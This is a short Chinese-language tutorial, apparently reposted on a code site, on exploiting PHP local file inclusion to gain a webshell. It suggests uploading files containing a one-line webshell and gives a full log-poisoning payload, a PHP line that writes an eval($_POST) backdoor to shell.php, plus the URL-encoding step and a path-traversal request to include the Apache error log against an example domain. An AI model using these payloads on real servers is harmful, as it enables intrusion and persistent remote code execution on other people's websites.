首页 > 代码库 > PHP中 LFI Local File Include,本地文件包 漏洞
PHP中 LFI Local File Include,本地文件包 漏洞
在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。
1. 包含上传文件
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。
3. 日志包含log日志文件
日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:
首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:
<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>
将它转换为url编码,然后访问
http://www.81sec.com/+urlencode(邪恶代码)
这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:
http://www.81sec.com/test.php?p=../../../../var/logs/apache/www_error.log
apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。
此位,觉得可行的方法。
PHP中 LFI Local File Include,本地文件包 漏洞
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。